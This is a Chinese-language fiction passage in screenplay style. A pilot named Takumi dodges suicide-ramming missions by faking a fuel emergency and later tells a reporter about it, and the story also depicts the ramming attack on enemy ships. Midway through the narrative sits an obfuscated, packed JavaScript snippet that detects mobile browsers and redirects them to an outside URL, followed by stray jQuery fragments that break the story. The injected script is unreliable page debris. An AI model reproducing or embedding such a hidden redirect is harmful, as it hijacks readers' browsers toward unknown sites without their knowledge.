畫面在清晨的機場展開，濃霧尚未散去，混凝土跑道仍覆著夜晚留下的濕氣。飛行員們列隊站好，沉默地拿著手中的酒杯。儘管手勢相同，表情卻已與之前大不相同。那是一種無言的麻木，一種對命運的冷漠服從。


    塔庫米站在隊列的最右邊，與其他飛行員一同將葡萄酒舉至唇邊，仰頭喝下，然後不發一語地將玻璃杯甩向地面。清脆的碎裂聲響起，宛如一道無形的斷裂，切開生與死的界線。


    畫面迅速切換，轟鳴聲起，一架架天堂鼠戰鬥機轟然起飛，直衝雲霄。塔庫米坐在駕駛艙中，視線透過前窗，望向前方編隊的飛行員。機身晃動中，他緊握操縱桿。


    天空藍得異常清澈，海面反射著太陽光芒，閃耀得刺眼。整個編隊筆直地朝某一方向前進。


    但沒多久，領航飛行員的臉色變了。


    「總感覺哪裡不對……」他自言自語。


    望向右側的海岸線，再看下儀表盤上的指南針，霎時間，他眼神一凜，額頭冒出冷汗。


    「糟了，方向反了！」他低聲咒罵。


    再低頭一看，燃料已經消耗四成。


    「就算現在轉頭也來不及了——見不到敵艦！」


    沉思幾秒後，領航飛行員立即操縱飛機減速，搖動機身，再次做出返航的手勢。其他飛行員見狀，雖面露疑惑，但也立刻依令轉向，隊形慢慢變成散亂的返航線。


    天空一如既往地空蕩，無戰火，也無敵軍，只有沈重如鉛的沉默隨著機翼劃破雲層。


    畫面切至機場，飛機一架接一架降落。主管早已等在跑道邊，滿臉焦躁。


    「怎麼回事？！」他大聲質問。


    領航飛行員立正低頭，「主管先生，非常抱歉……又沒找到目標。」


    他的聲音聽來平靜，實際上卻在壓抑內心的慌張。


    主管臉色鐵青，「可惡！情報人員到底是怎麼回事？！總是給錯誤的訊息！到底是誰在搞鬼？」


    畫外音緩緩響起，是記者的聲音：「於是你就這麼……活下來了？」


    畫面切換至瑪茨莫托·塔庫米坐在客廳，微微點頭。「是的，」他平靜地說，「我就這樣活下來了，這是第二次。」


    記者問：「那麼第三次呢？」


    塔庫米露出一絲耐人尋味的笑容。「第三次啊……」


    畫面轉場，熟悉的畫面再次出現——清晨的機場、酒杯的碰撞聲、飛機一架架升空。這次的鏡頭更貼近塔庫米的機艙，他眉頭深鎖，眼神裡帶著某種難以形容的決絕。


    但與前兩次不同，他的飛機才剛飛上天空不久，便迅速地脫離了隊伍。他拉高飛行高度，接著以極快的速度俯衝，機體穿過雲層，在空中扔掉副油箱，然後迅速調整方向，飛往陸地。


    塔庫米駕駛的飛機在一處偏遠機場上空盤旋幾圈，終於降落在一個陌生的跑道上。


    畫面中出現一群地勤人員紛紛跑來查看，一位穿著陸地項目組制服的青年率先抵達機頭。


    「你是哪個部門的？」他疑惑地問。


    塔庫米掀開艙蓋，一臉嚴肅：「海洋項目組航空所。」


    青年皺起眉，「你怎麼會在這裡降落？這裡是陸地項目組的機場！」


    塔庫米從容地回答：「飛機剛上天突然燃油沒了，不知道是不是漏油了，臨時在這裡降落。」


    青年低頭看了一眼剛剛機體停下的軌跡，搖頭嘆氣，「真是海項白癡……」


    畫面回到客廳，記者壓低聲音，幾乎帶著不敢相信的語氣問：「這樣……也能活下來？」


    塔庫米輕輕點頭，「是啊。」


    記者好奇的問：「可是……為什麼要在那裡飛幾圈才降落？」


    塔庫米看著記者，嘴角微微上揚，聲音低沉：「製造燃料耗盡的假象。」


    他放下手中的咖啡杯，手指輕敲著膝蓋。


    「如果我一降落他們就看到油量還夠，就會知道我是在逃。可是在上空盤旋幾圈，就能消耗一些燃料，讓那群陸項的人相信我是真的故障迫降。」


    他歪頭看向窗外的陽光，「有時候，活命靠的不是運氣，是說謊的技巧。」


    記者望著他，眼中閃過一絲複雜。「你不怕他們查油箱嗎？」


    塔庫米笑了笑，帶著幾分狡猾，「那時候誰管那麼多？他們根本不想跟海項有任何牽扯，當我說是『海洋項目組』，他們連檢查都懶得做。懶得多管閒事，這在公司裡，是一種常見的保命方式。」


    他頓了頓，眼神沉了下來。「那時候，我已經知道——這不是一場能靠榮譽贏得的戰爭，這是一場靠運氣、靠演技、靠欺瞞才能活下來的修羅場。」


    客廳的光線略顯昏黃，塔庫米靜靜坐在沙發上，雙手交握放在膝蓋上，神情看似平靜，但目光中仍藏著些許難以言明的悲傷與自嘲。


    記者拿起筆記本，語氣凝重地問：「如果……如果其他隊員也跟你一樣返航了，你不就完了嗎？他們一旦降落，就會發現妳是唯一沒參與攻擊的那一個，到時候……」


    塔庫米望向她，緩緩地搖頭。「我一開始也是這樣想的。」他說道，聲音帶著一點沙啞。「我降落之後的幾天裡，每天都提心吊膽。我甚至躲起來假裝修機器，還找藉口說要回海項補報。因為我知道……只要有一個人回來，我就會被發現。」


    記者皺起眉，「後來呢？」


    塔庫米嘆了一口氣，眼神遠望。「後來我才知道——他們沒有一個人回來。」


    畫面轉為灰蒙蒙的天際。厚重的雲層之下，是一片深藍的海域，波濤洶湧。三十多架天堂鼠戰鬥機在高空中列隊，宛如一場準備落下的暴雨，機頭朝下，副油箱早已丟棄，掛彈狀態。


    那是一場決死的任務，無通訊、無導航，靠著一張模糊的地圖和彼此的眼神，他們飛行、俯衝，朝著那片蒼茫大海上的一抹鋼鐵前進。


    第一架戰鬥機俯衝而下，角度近乎垂直。駕駛員緊咬牙關，呼吸急促，雙手死死抓緊操縱桿。


    海面上的敵軍艦艇立刻察覺異狀。防空警報聲響徹甲板，數十門高射砲一齊張口，噴吐出怒火與鋼鐵。


    炮火交織成死亡的網，一架天堂鼠在未抵達目標前，便在半空中被擊中，機翼炸裂、燃料起火，在空中劃出一道悲壯的弧線，墜入海中。


    但後面一架接著一架，毫無遲疑地朝軍艦衝刺。


    軍艦上的水兵幾乎發狂。


    「喔！我的神啊——他們瘋了嗎？！」


    「太可怕了！」


    「還能這樣做嗎？！」


    他們根本無法理解這樣的攻擊方式——不是俯衝轟炸，不是精確導引，而是直接、徹底的——駕駛飛機衝撞。


    第二架戰鬥機命中了一艘小型驅逐艦的上層建築，瞬間爆炸，火焰從艦橋往外擴散，碎片四濺。但這艘驅逐艦還沒沉，正在搖搖欲墜地掙扎。


    第三架、第四架緊接著衝了下來，幾乎是以肉眼可見的方式將那艘驅逐艦打穿，接連的撞擊與爆炸終於讓那艘軍艦斷裂沉沒。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15503100|132887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    遠方另一艘巡防艦也被一架天堂鼠命中，但僅是上層甲板起火，火勢猛烈卻沒波及艦身要害，被艦內消防隊迅速控制撲滅。


    另一艘輕巡洋艦被撞中艦尾機槍座，短暫失火後也很快被撲滅，僅是表面破損。


    天空逐漸恢復沉寂，但這份沉寂中飄浮的，是濃濃的黑煙與墜機碎片。大海回復平靜，但那是吞噬過三十多條生命之後的平靜。


    畫外音響起，是記者壓抑著驚愕的聲音：「出動了三十多架飛機，只打沉了一艘小型驅逐艦？」


    塔庫米低著頭，緩緩說：「很正常。因為我們只能撞上層，不能像魚雷一樣從下面打洞，除非命中彈藥庫或航艦的機庫，不然不可能讓船沉。打穿鋼板很難，而且……我們的戰鬥機根本沒有足夠的破壞力。」


    記者凝視著他：「這樣的代價……值嗎？」


    塔庫米沉默許久，才回答：「我不覺得值。但這不是我們能決定的。我們是被丟上天空的一把刀，怎麼飛、怎麼落地，不是我們說了算。」


    他看了記者一眼，語氣冷靜卻透著刺骨的寒意：「我們被要求用身體去當彈藥，而不是被問我們願不願意。」


    記者咬了咬嘴唇，試圖再說些什麼，卻發現自己的筆記本上手寫的字跡已經潦草到難以辨認。她深吸一口氣，「你……你覺得是誰讓他們這麼做？」


    塔庫米目光如炬地看著她，一字一頓地說：「從來都不是單一的人。這是一整套機器——情報員給錯座標、飛行員不敢質疑命令、主管忙著交差，甚至皇帝也只是在追求所謂的勝利象徵。這不是誰的錯，是所有人都在錯，卻沒人想停下來。」


    他頓了一下，語氣更加低沉：「我當時唯一做的，就是說了一個謊……讓自己多活了一天。沒想到那一天，變成了一輩子。」


    畫面轉回他雙手攤開的樣子，掌心的厚繭與歲月的紋理交錯，他像是在問，也像是在自白。「如果妳在那裡，妳會選擇怎麼做？」


    記者沉默了。她低下頭，不再追問，那是她無法回答的問題，她只能記錄——把那片天空中曾降下過的火之雨，記錄成文字，寫進歷史。


    畫面緩緩轉入營房內部。老舊的木造天花板上吊著一顆黃色泛暗的燈泡，光線搖晃不定，營房裡瀰漫著潮濕與機油混合的味道。塔庫米站得筆直，一臉無辜地面對著眼前那名臉色陰沉的主管。


    主管猛地一拍桌子，聲音震得整個營房一陣回音。


    「什麼？飛機沒油了？」他的聲音帶著咆哮般的怒氣。


    塔庫米站得更直了一些，眼睛眨也不眨地回答：「是啊，我也不知道怎麼回事。」


    主管的眼神簡直要把塔庫米燒穿了。他慢慢走近，咬牙切齒：「下一次行動，你必須給我撞上去！聽到了沒有！」


    「是！長官！」塔庫米立刻大聲回應，動作極為標準。


    但就在這一刻，他抿起嘴角，頭微微偏向另一側，像是在壓抑情緒。然而下一秒，他那句心裡的話如同旁白一般響起——白癡才會去撞！


    畫面定格，瞬間轉黑，然後恢復光亮。


    此時主管背對著鏡頭，臉色鐵青，雙手插腰，嘴角抽動，喃喃地道出一句話，雖然口沒動，但聲音清晰地在畫面中響起：可惡，我已經把這傢伙戰死的消息上報給皇帝陛下，如今這傢伙活著回來了，我這可是謊報軍情，他沒死，我就要死了！


    鏡頭略微拉遠，從主管背後拉出畫面，只見塔庫米還是一臉木然地敬禮，但他雙眼閃著一絲難以察覺的狡黠。